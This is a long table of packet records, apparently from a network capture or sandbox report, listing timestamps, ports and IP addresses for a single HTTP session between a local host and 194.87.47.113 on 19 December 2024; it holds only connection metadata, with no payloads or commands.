Dec 19, 2024 08:21:28.128901958 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.128937006 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.129616022 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.129652977 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.129700899 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.130397081 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.131011963 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.167092085 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.167157888 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.167387009 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.167432070 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.167493105 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.167531967 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.168215990 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.168328047 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.169012070 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.169053078 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.169166088 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.169204950 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.169934988 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.169998884 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.170635939 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.170675993 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.170723915 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.170764923 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.171355009 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.171480894 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.171519041 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.172173023 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.172322035 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.172920942 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.172975063 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.173048019 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.173084021 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.173672915 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.173789024 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.174516916 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.174566984 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.174593925 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.174624920 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.175467014 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.175548077 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.175580978 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.176374912 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.176414967 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.176886082 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.176923037 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.177021027 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.177067041 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.177623987 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.177763939 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.178397894 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.178431988 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.178498983 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.178539991 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.179214001 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.179332018 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.179372072 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.179996014 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.180115938 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.180371046 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.180818081 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.180932999 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.180969000 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.181627035 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.181715965 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.181756973 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.182353973 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.182480097 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.183162928 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.183187008 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.183238983 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.183954000 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.183993101 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.184050083 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.184088945 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.184779882 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.184905052 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.185570955 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.185605049 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.185667992 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.185704947 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.186383009 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.186515093 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.187153101 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.187232018 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.187288046 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.187959909 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.187998056 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.187998056 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.188034058 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.188832045 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.188899040 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.189538956 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.189579010 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.189610004 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.189646959 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.190327883 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.190448046 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.191135883 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.191153049 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.191279888 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.192178965 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.192192078 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.192217112 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.192241907 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.192843914 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.237503052 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.260272980 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.260351896 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.260453939 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.260552883 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.260716915 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.261373043 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.261421919 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.261485100 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.261523962 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.262142897 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.269915104 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.270005941 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.270068884 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.270279884 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.270319939 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.270538092 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.271085024 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.271174908 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.271188974 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.271815062 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.275177956 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.303791046 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.303895950 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.303968906 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.304174900 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.304260969 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.305051088 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.305104971 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.305130005 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.305166006 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.305795908 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.305905104 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.306566000 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.306634903 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.306643009 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.306674957 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.307437897 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.307553053 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.307601929 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.308162928 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.308212996 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.311326027 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.318187952 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.318310022 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.318356991 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.318541050 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.318653107 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.319161892 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.319361925 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.319477081 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.320158005 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.320209026 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.320242882 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.320277929 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.320972919 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.321142912 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.321765900 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.321867943 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.321963072 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.322606087 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.322660923 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.322724104 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.359083891 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.359213114 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.359402895 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.359452009 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.359527111 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.359570980 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.360280991 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.360389948 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.361025095 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.361069918 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.361145973 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.361183882 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.361783981 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.361958027 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.362641096 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.362706900 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.362746954 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.362829924 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.363401890 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.363539934 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.363589048 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.364157915 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.364265919 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.364960909 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.364995003 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.365137100 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.365194082 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.365793943 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.365848064 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.366544008 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.366596937 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.366662025 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.366725922 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.367376089 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.367538929 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.367594004 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.368150949 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.368269920 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.368913889 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.369030952 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.369055986 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.369190931 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.369699955 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.369774103 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.370513916 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.370609999 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.370702982 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.370814085 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.371299028 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.371422052 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.371553898 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.372092009 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.372200012 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.372910023 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.372982979 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.373060942 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.373101950 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.373713970 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.373812914 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.373852015 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.374483109 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.374656916 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.375325918 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.375369072 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.375418901 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.375452042 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.376058102 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.376141071 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.376974106 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.377072096 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.377106905 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.377144098 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.377612114 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.377712965 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.378473997 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.378509998 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.378554106 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.378586054 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.379259109 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.379329920 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.379369974 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.380125046 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.380166054 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.380873919 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.380912066 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.380984068 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.381020069 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.381676912 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.381778955 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.382343054 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.382415056 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.382452965 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.382503986 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.383152962 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.383285999 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.383366108 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.383956909 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.384093046 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.384741068 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.384818077 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.452171087 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.452276945 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.452364922 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.452610970 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.452685118 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.453221083 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.453260899 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.453314066 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.453351974 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.453958988 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.454083920 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.455147028 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.461971045 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.462068081 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.462148905 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.462318897 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.462482929 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.463180065 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.463219881 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.463346958 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.464174032 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.464219093 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.496001005 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.496121883 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.496213913 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.496392012 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.496457100 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.496484995 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.497163057 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.497282982 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.497318029 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.497996092 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.498115063 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.498161077 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.498768091 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.498826027 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.498872042 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.499588013 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.499691010 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.499728918 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.500353098 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.500372887 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.500395060 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.510201931 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.510229111 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.510310888 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.510580063 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.510593891 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.510622025 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.511379957 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.511693001 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.511729956 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.511804104 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.511838913 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.512420893 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.512573957 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.513282061 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.513324022 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.513396025 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.513432026 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.514017105 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.514388084 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.514962912 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.515008926 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.551363945 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.551378965 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.551454067 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.551512003 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:28.551552057 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:28.551603079 CET	80	49720	194.87.47.113	192.168.2.10
